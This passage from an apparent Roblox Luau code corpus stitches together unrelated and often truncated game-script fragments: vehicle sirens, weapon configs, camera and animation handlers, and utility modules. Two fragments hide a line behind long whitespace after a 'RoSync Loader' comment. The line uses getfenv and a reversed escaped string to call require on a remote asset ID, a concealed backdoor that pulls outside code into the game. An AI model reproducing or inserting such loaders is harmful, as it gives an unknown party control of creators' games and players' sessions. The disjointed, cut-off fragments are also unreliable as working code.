Roblox/luau_corpus huggingface dataset:
--// Weld Connection
wait(0.5)

local L_29_ = L_2_:GetDescendants()

for L_34_forvar1, L_35_forvar2 in pairs(L_29_) do
	if L_35_forvar2:IsA('BasePart') then
		if L_35_forvar2.Name ~= 'Engine' and L_35_forvar2.Parent ~= L_2_.RegenButton then
			Weld(L_35_forvar2, L_2_.Required.Engine)
		end
	end
end

for L_36_forvar1, L_37_forvar2 in pairs(L_29_) do
	if L_37_forvar2:IsA('BasePart') then
		if L_37_forvar2.Parent ~= L_2_.RegenButton then
			L_37_forvar2.Anchored = false
		end
	end
end
--------|     Setting     |--------
local Debug = true
local waitTimeout = 5
local defaultRigType = Enum.HumanoidRigType.R15
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------


function onRunning(speed)
	speed /= getRigScale()
	
	if speed > 0.01 then
		playAnimation("walk", 0.1, Humanoid)
		if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
			setAnimationSpeed(speed / 14.5)
		end
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil then
			playAnimation("idle", 0.1, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	speed /= getRigScale()
	
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / 12.0)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed > 0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function getTool()	
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == "Tool" then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

function animateTool()
	
	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		playAnimation("sit", 0.5, Humanoid)
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	,EnableHolster = false
	,HolsterTo = 'Right Leg'				 -- Put the name of the body part you wanna holster to
	,HolsterPos = CFrame.new(0.80,0.7,0.2) * CFrame.Angles(math.rad(-88),math.rad(-180),math.rad(0))
	
	,RightArmPos = CFrame.new(-.875, 0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Server
	,LeftArmPos = CFrame.new(0.25,0.65,-1.65) * CFrame.Angles(math.rad(-100),math.rad(15),math.rad(-0))	--server

	,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
	,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))

	,RightPos = CFrame.new(-0.65, 0.25, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Client
	,LeftPos = CFrame.new(0.2,0.675,-1.45) * CFrame.Angles(math.rad(-100),math.rad(15),math.rad(-0))	--Client
}

return Config
--// F key, HornOff
mouse.KeyUp:connect(function(key)
	if key=="h" then 
		veh.Lightbar.middle.Airhorn:Stop()
		veh.Lightbar.middle.Wail.Volume = 10
		veh.Lightbar.middle.Yelp.Volume = 10
		veh.Lightbar.middle.Priority.Volume = 10
		veh.Lightbar.AH.Transparency = 1
	end
end)
--[[ Last synced 10/14/2020 09:29 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Variables (best not to touch these!)
local button = script.Parent 
local car = script.Parent.Parent.Car.Value
local sound = script.Parent.Start
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
	if script.Parent.Text == "Engine: Off" then -- If the text says it's off then..
		sound:Play() -- Startup sound plays..
		wait(1.5) -- For realism. Okay?
		script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
		button.Text = "Engine: On"  -- You don't really need this, but I would keep it.
	else -- If it's on then when you click the button,
		script.Parent.Parent.IsOn.Value = false -- The car is turned off.
		button.Text = "Engine: Off"
	end -- Don't touch this.
end) -- And don't touch this either.
-----
function Lobby.run()
	_joinEvent = Util.newRemoteEvent("JoinEvent", ReplicatedStorage)
	_serverListEvent = Util.newRemoteEvent("ServerListEvent", ReplicatedStorage)
	_statusEvent = Util.newRemoteEvent("StatusEvent", ReplicatedStorage)

	MessagingService:SubscribeAsync("LOBBY", Lobby._dispatchMessage)
	MessagingService:SubscribeAsync(tostring(game.JobId), Lobby._dispatchMessage)

	Lobby._registerHandler("ANNOUNCE", Lobby._handleServerAnnounce)
	Lobby._registerHandler("ANNOUNCE:REMOVAL", Lobby._handleServerRemoval)
	Lobby._registerHandler("ANNOUNCE:RESPONSE", Lobby._handleServerAnnounce)
	Lobby._registerHandler("JOIN:RESPONSE", Lobby._handleJoinResponse)
	Lobby._registerHandler("JOIN:EXPIRED", Lobby._handleJoinExpired)

	Log.Debug.Lobby("run: %s (%s)", game.JobId, game.PlaceId)

	Lobby._requestServerList()

	_joinEvent.OnServerEvent:Connect(Lobby._onJoin)

	Players.PlayerAdded:Connect(Lobby._onPlayerAdded)
	Players.PlayerRemoving:Connect(Lobby._onPlayerRemoving)

	TeleportService.TeleportInitFailed:Connect(Lobby._onTeleportFailure)

	coroutine.wrap(function()
			while true do
				Lobby._detectDeadServers()
				Lobby._processJoinQueue()
				wait(1)
			end
	end)()
end
--!strict
--[=[
  @function isSubset
  @within Set

  @param subset { [any]: boolean } -- The subset to check.
  @param superset { [any]: boolean } -- The superset to check against.
  @return boolean -- Whether the subset is a subset of the superset.

  Checks whether a set is a subset of another set.

  ```lua
  local set = { hello = true, world = true }
  local subset = { hello = true }

  local isSubset = IsSubset(subset, set) -- true
  ```
]=]
local function isSubset(subset: { [any]: boolean }, superset: { [any]: boolean }): boolean
	for key, value in pairs(subset) do
		if superset[key] ~= value then
			return false
		end
	end

	return true
end

return isSubset
--[[ Last synced 4/6/2021 11:58                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Example trigger script

local gui = script.Parent
local playergui = gui.Parent
local player = playergui.Parent
local mouse = player:GetMouse()

local vFrequency = script.Frequency
local tikiTorches = workspace.TikiTorches:GetChildren()

local loop = false

function go()
	local torch = tikiTorches[math.random(1, #tikiTorches)]
	gui.CreateIndicator:Invoke(torch.Main.Position, 1)
end

gui.TextButton.MouseButton1Down:connect(function ()
	gui.CreateIndicator:Invoke(Vector3.new(math.random(-25,25), 0, math.random(-25,25)), 2.5)
end)

gui.TextButton.MouseButton2Down:connect(function ()
	loop = not loop
end)

while true do
	if loop then
		go()
		wait(math.random(1,vFrequency.Value)/100)
	else
		gui.TextButton.MouseButton2Down:wait()
	end
	wait()
end
--// Functions
function MakeFakeArms()
	Arms = Instance.new("Model")
	Arms.Name = "Arms"
	Arms.Parent = L_5_

	local L_144_ = Instance.new("Humanoid")
	L_144_.MaxHealth = 0
	L_144_.Health = 0
	L_144_.Name = ""
	L_144_.Parent = Arms
		
	if L_3_:FindFirstChild("Shirt") then
		local L_149_ = L_3_:FindFirstChild("Shirt"):clone()
		L_149_.Parent = Arms
	end
	
	local L_145_ = L_3_:FindFirstChild("Right Arm"):clone()
	for L_150_forvar1, L_151_forvar2 in pairs(L_145_:GetChildren()) do
		if L_151_forvar2:IsA('Motor6D') then
			L_151_forvar2:Destroy()
		end
	end
	L_145_.Name = "Right Arm"
	L_145_.FormFactor = "Custom"
	L_145_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_145_.Transparency = 0.0
	
	local L_146_ = Instance.new("Motor6D")
	L_146_.Part0 = L_145_
	L_146_.Part1 = L_3_:FindFirstChild("Right Arm")
	L_146_.C0 = CFrame.new()
	L_146_.C1 = CFrame.new()
	L_146_.Parent = L_145_	
	L_145_.Parent = Arms
		
	local L_147_ = L_3_:FindFirstChild("Left Arm"):clone()
	L_147_.Name = "Left Arm"
	L_147_.FormFactor = "Custom"
	L_147_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_147_.Transparency = 0.0	
	
	local L_148_ = Instance.new("Motor6D")
	L_148_.Part0 = L_147_
	L_148_.Part1 = L_3_:FindFirstChild("Left Arm")
	L_148_.C0 = CFrame.new()
	L_148_.C1 = CFrame.new()
	L_148_.Parent = L_147_	
	L_147_.Parent = Arms
end

function RemoveArmModel()
	if Arms then
		Arms:Destroy()
		Arms = nil
	end
end

local L_107_

function CreateShell()
	L_107_ = time()
	local L_152_ = L_1_.Shell:clone()
	if L_152_:FindFirstChild('Shell') then
		L_152_.Shell:Destroy()
	end
	L_152_.CFrame =  L_1_.Chamber.CFrame
	L_152_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
	--shell.RotVelocity = Vector3.new(-10,40,30)
	L_152_.Parent = L_76_
	L_152_.CanCollide = false
	game:GetService("Debris"):addItem(L_152_, 1)
end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 2 -- cooldown for use of the tool again

BoneModelName = "Slash" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--		if self.L3ButtonDown then
--			-- L3 Thumbstick is depressed, right stick controls dolly in/out
--			if (input.Position.Y > THUMBSTICK_DEADZONE) then
--				self.currentZoomSpeed = 0.96
--			elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then
--				self.currentZoomSpeed = 1.04
--			else
--				self.currentZoomSpeed = 1.00
--			end
--		else
			if state == Enum.UserInputState.Cancel then
				self.gamepadPanningCamera = ZERO_VECTOR2
				return
			end

			local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
			if inputVector.magnitude > THUMBSTICK_DEADZONE then
				self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
			else
				self.gamepadPanningCamera = ZERO_VECTOR2
			end
		--end
		return Enum.ContextActionResult.Sink
	end
	return Enum.ContextActionResult.Pass
end

function BaseCamera:DoKeyboardPanTurn(name, state, input)
	if not self.hasGameLoaded and VRService.VREnabled then
		return Enum.ContextActionResult.Pass
	end

	if state == Enum.UserInputState.Cancel then
		self.turningLeft = false
		self.turningRight = false
		return Enum.ContextActionResult.Sink
	end

	if self.panBeginLook == nil and self.keyPanEnabled then
		if input.KeyCode == Enum.KeyCode.Left then
			self.turningLeft = state == Enum.UserInputState.Begin
		elseif input.KeyCode == Enum.KeyCode.Right then
			self.turningRight = state == Enum.UserInputState.Begin
		end
		return Enum.ContextActionResult.Sink
	end
	return Enum.ContextActionResult.Pass
end

function BaseCamera:DoPanRotateCamera(rotateAngle)
	local angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25)
	if angle ~= 0 then
		self.rotateInput = self.rotateInput + Vector2.new(angle, 0)
		self.lastUserPanCamera = tick()
		self.lastCameraTransform = nil
	end
end

function BaseCamera:DoGamepadZoom(name, state, input)
	if input.UserInputType == self.activeGamepad then
		if input.KeyCode == Enum.KeyCode.ButtonR3 then
			if state == Enum.UserInputState.Begin then
				if self.distanceChangeEnabled then
					local dist = self:GetCameraToSubjectDistance()

					if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then
						self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)
					elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then
						self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)
					else
						self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)
					end
				end
			end
		elseif input.KeyCode == Enum.KeyCode.DPadLeft then
			self.dpadLeftDown = (state == Enum.UserInputState.Begin)
		elseif input.KeyCode == Enum.KeyCode.DPadRight then
			self.dpadRightDown = (state == Enum.UserInputState.Begin)
		end

		if self.dpadLeftDown then
			self.currentZoomSpeed = 1.04
		elseif self.dpadRightDown then
			self.currentZoomSpeed = 0.96
		else
			self.currentZoomSpeed = 1.00
		end
		return Enum.ContextActionResult.Sink
	end
	return Enum.ContextActionResult.Pass
--[[
	Divides a transparency value by a value, as if it were opacity.
	divideTransparency(0, 2) -> 0.5
	divideTransparency(0.3, 2) -> 0.65
]]

return function(transparency, divisor)
	return 1 - (1 - transparency) / divisor
end
--This module is for any client FX related to the Double Tap Machine

local PowerBoxFX = {}

local tweenService = game:GetService("TweenService")

function PowerBoxFX.POWER_ON(powerBox)
	if not powerBox then return end
	local switchModel = powerBox:FindFirstChild("Switch")
	if not switchModel then return end
	
	local handle = switchModel.Handle
	
	local midPos = switchModel.Mid
	local topPos = switchModel.Up
	
	tweenService:Create(handle, TweenInfo.new(0.1), {CFrame = midPos.CFrame}):Play()
	wait(0.11)
	tweenService:Create(handle, TweenInfo.new(0.1), {CFrame = topPos.CFrame}):Play()
	
end

return PowerBoxFX
-- Removes the mirror copy of the provided
-- object from the HeadMirrors table, if it
-- is defined in there presently.

function FpsCamera:RemoveHeadMirror(desc)
	local mirror = self.HeadMirrors[desc]
	
	if mirror then
		mirror:Destroy()
		self.HeadMirrors[desc] = nil
	end
end
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {
	Name = "clear", 
	Aliases = {}, 
	Description = "Clear all lines above the entry line of the Cmdr window.", 
	Group = "DefaultUtil", 
	Args = {}
};
local l__Players__1 = game:GetService("Players");
function v1.ClientRun()
	local l__Cmdr__2 = l__Players__1.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Cmdr");
	local l__Frame__3 = l__Cmdr__2:WaitForChild("Frame");
	if l__Cmdr__2 and l__Frame__3 then
		for v4, v5 in pairs(l__Frame__3:GetChildren()) do
			if v5.Name == "Line" and v5:IsA("TextBox") then
				v5:Destroy();
			end;
		end;
	end;
	return "";
end;
return v1;
--[[
	Server Module
--]]

local Settings = { --, not ; ? | server module!!
	 BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961'
	,Damage = {20, 50}
	,OneHanded = false --DONT USE YET
	,FakeArms = true
    ,FakeArmTransparency = 0
    ,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0)
	,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
}

return Settings
-- Decompiled with the Synapse X Luau decompiler.

client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
	local l__PlayerGui__1 = service.PlayerGui;
	script.Parent.Parent.TextLabel.Position = UDim2.new(0, 0, 0, -40);
	gTable:Ready();
end;
-- Load additional libraries
while not _G.GetLibraries do wait() end
Support, Cheer, Try = _G.GetLibraries(
	'F3X/SupportLibrary@^1.0.0',
	'F3X/Cheer@^0.0.0',
	'F3X/Try@~1.0.0'
);
--[[**
	ensures value is a table and all keys pass keyCheck and all values pass valueCheck

	@param keyCheck The function to use to check the keys
	@param valueCheck The function to use to check the values

	@returns A function that will return true iff the condition is passed
**--]]
function t.map(keyCheck, valueCheck)
	assert(t.callback(keyCheck))
	assert(t.callback(valueCheck))
	local keyChecker = t.keys(keyCheck)
	local valueChecker = t.values(valueCheck)

	return function(value)
		local keySuccess = keyChecker(value)
		if not keySuccess then
			return false
		end

		local valueSuccess = valueChecker(value)
		if not valueSuccess then
			return false
		end

		return true
	end
end
--[[**
	ensures Roblox PhysicalProperties type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]
t.PhysicalProperties = t.typeof("PhysicalProperties")
--[[
	A special key for property tables, which allows users to extract values from
	an instance into an automatically-updated Value object.
]]

local Package = script.Parent.Parent

local parseError = require(Package.Dependencies).utility.parseError
local xtypeof = require(Package.ObjectUtility).xtypeof

local function Out(propertyName: string)
	local outKey = {}
	outKey.type = "SpecialKey"
	outKey.kind = "Out"
	outKey.stage = "observer"

	function outKey:apply(outState: any, applyTo: Instance, cleanupTasks: {})
		local ok, event = pcall(applyTo.GetPropertyChangedSignal, applyTo, propertyName)
		if not ok then
			parseError("invalidOutProperty", nil, applyTo.ClassName, propertyName)
		elseif xtypeof(outState) ~= "State" or outState.kind ~= "Value" then
			parseError("invalidOutType")
		else
			outState:set((applyTo :: any)[propertyName])
			table.insert(
				cleanupTasks,
				event:Connect(function()
					outState:set((applyTo :: any)[propertyName])
				end)
			)
			table.insert(cleanupTasks, function()
				outState:set(nil)
			end)
		end
	end

	return outKey
end

return Out
-- The currently idle thread to run the next handler on
local freeRunnerThread: thread? = nil
-------------------------
 
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
				if key == "u" then --Camera controls
				        if cam == ("car") then
							Camera.CameraSubject = player.Character.Humanoid
							Camera.CameraType = ("Custom")
							cam = ("freeplr")
							Camera.FieldOfView = 70
							limitButton.Text = "Free Camera"
							wait(3)
							limitButton.Text = ""
						elseif cam == ("freeplr") then
							Camera.CameraSubject = player.Character.Humanoid
							Camera.CameraType = ("Attach")
							cam = ("lockplr")
							Camera.FieldOfView = 45
							limitButton.Text = "FPV Camera"
							wait(3)
							limitButton.Text = ""
				        elseif cam == ("lockplr") then
							Camera.CameraSubject = carSeat
							Camera.CameraType = ("Custom")
							cam = ("car")
							Camera.FieldOfView = 70
							limitButton.Text = "Standard Camera"
							wait(3)
							limitButton.Text = ""
				        end
			end
		end)